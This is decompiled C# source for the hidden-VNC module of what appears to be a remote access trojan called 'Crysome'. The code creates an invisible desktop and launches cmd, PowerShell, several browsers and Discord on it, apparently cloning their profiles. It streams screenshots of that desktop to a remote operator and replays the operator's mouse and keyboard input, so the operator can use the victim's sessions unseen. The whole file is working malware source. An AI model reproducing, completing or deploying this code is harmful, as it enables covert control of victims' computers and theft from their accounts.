using System; using System.Collections.Concurrent; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using Crysome.Client.Hvnc; using Crysome.Common.Network; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Packets.Server; namespace Crysome.Client.Handlers; public static class HvncHandlers { private const string DesktopName = "CrysomeHvncDesktop"; private static volatile bool _running; private static Thread _captureThread; private static Thread _sendThread; private static CrysomeClient _client; private static HvncImagingHandler _imaging; private static HvncInputHandler _input; private static HvncProcessHandler _process; private static int _quality; private static int _intervalMs; private static readonly object _lock; private static readonly BlockingCollection _hvncInputQueue; private static readonly Thread _hvncInputPump; private static volatile byte[] _pendingFrame; private static readonly SemaphoreSlim _frameSem; static HvncHandlers() { _quality = 80; _intervalMs = 50; _lock = new object(); _hvncInputQueue = new BlockingCollection(); _frameSem = new SemaphoreSlim(0, 1); _hvncInputPump = new Thread((ThreadStart)delegate { foreach (Action item in _hvncInputQueue.GetConsumingEnumerable()) { try { item?.Invoke(); } catch (Exception ex) { Program.Log("HVNC input: " + ex.Message); } } }) { IsBackground = true, Name = "HvncInputPump" }; _hvncInputPump.Start(); } public static void HandleStartHvnc(CrysomeClient client, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown StartHvncPacket val = (StartHvncPacket)packet; lock (_lock) { if (!_running) { _quality = Math.Max(10, Math.Min(100, val.Quality)); _intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs)); _client = client; try { _imaging = new HvncImagingHandler("CrysomeHvncDesktop"); _input = new HvncInputHandler("CrysomeHvncDesktop"); _process = new HvncProcessHandler("CrysomeHvncDesktop"); _process.StartExplorer(); Thread.Sleep(500); } catch (Exception ex) { Program.Log("HVNC init: " + ex.Message); DisposeHandlers(); return; } _running = true; _pendingFrame = null; _sendThread = new Thread(SendLoop) { IsBackground = true, Name = "HvncSend" }; _sendThread.Start(); _captureThread = new Thread(CaptureLoop) { IsBackground = true, Name = "HvncCapture" }; _captureThread.Start(); } } } public static void HandleStopHvnc(CrysomeClient client, IPacket packet) { lock (_lock) { _running = false; try { _frameSem.Release(); } catch { } _captureThread?.Join(3000); _sendThread?.Join(2000); DisposeHandlers(); } } public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown HvncRunRequestPacket val = (HvncRunRequestPacket)packet; if (!_running || _process == null) { return; } try { switch (val.Action) { case 0: _process.StartExplorer(); break; case 1: _process.StartRunDialog(); break; case 2: _process.StartCmd(); break; case 3: _process.StartPowerShell(); break; case 4: _process.StartChrome(); break; case 5: _process.StartEdge(); break; case 6: _process.StartFirefox(); break; case 7: _process.StartOpera(); break; case 8: _process.StartOperaGX(); break; case 9: _process.StartBrave(); break; case 17: _process.StartNotepad(); break; case 18: _process.StartCalculator(); break; case 11: case 12: case 13: case 14: case 15: case 16: _process.HandleCloneRequest(val.Action); break; case 19: _process.StartDiscord(); break; case 10: if (!string.IsNullOrEmpty(val.Path)) { _process.CreateProc(val.Path); } break; } } catch (Exception ex) { Program.Log("HVNC run: " + ex.Message); } } public static void HandleHvncInput(CrysomeClient client, IPacket packet) { //IL_0007: Unknown result type (might be due to invalid IL or missing references) //IL_000d: Expected O, but got Unknown HvncInputPacket val = (HvncInputPacket)packet; if (_running && _input != null) { uint msg = (uint)val.Msg; IntPtr wParam = new IntPtr(val.WParam); IntPtr lParam = new IntPtr(val.LParam); _hvncInputQueue.Add(delegate { _input.Input(msg, wParam, lParam); }); } } private static void DisposeHandlers() { try { _imaging?.Dispose(); _imaging = null; _input?.Dispose(); _input = null; _process = null; } catch { } } private static void SendLoop() { while (_running) { try { _frameSem.Wait(100); if (!_running) { break; } byte[] array = Interlocked.Exchange(ref _pendingFrame, null); if (array != null && array.Length != 0) { if (!_client.IsConnected) { break; } _client.SendHvncFrame(array); } } catch (Exception ex) { Program.Log("HVNC send: " + ex.Message); if (!_running) { break; } } } } private static void CaptureLoop() { ImageCodecInfo jpegCodec = GetJpegCodec(); Stopwatch stopwatch = Stopwatch.StartNew(); while (_running && _client != null && _imaging != null) { long elapsedMilliseconds = stopwatch.ElapsedMilliseconds; try { if (!_client.IsConnected) { break; } using Bitmap bitmap = _imaging.Screenshot(); if (bitmap != null) { byte[] array = EncodeJpeg(bitmap, jpegCodec); if (array != null && array.Length != 0) { Interlocked.Exchange(ref _pendingFrame, array); try { _frameSem.Release(); } catch (SemaphoreFullException) { } } } } catch (Exception ex2) { Program.Log("HVNC capture: " + ex2.Message); } long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds; int num2 = Math.Max(0, _intervalMs - (int)num); if (num2 > 0) { Thread.Sleep(num2); } } } private static ImageCodecInfo GetJpegCodec() { ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); foreach (ImageCodecInfo imageCodecInfo in imageEncoders) { if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid) { return imageCodecInfo; } } return null; } private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec) { if (codec == null) { using (MemoryStream memoryStream = new MemoryStream()) { bmp.Save(memoryStream, ImageFormat.Jpeg); return memoryStream.ToArray(); } } using MemoryStream memoryStream2 = new MemoryStream(); using (EncoderParameters encoderParameters = new EncoderParameters(1)) { encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality); bmp.Save(memoryStream2, codec, encoderParameters); } return memoryStream2.ToArray(); } }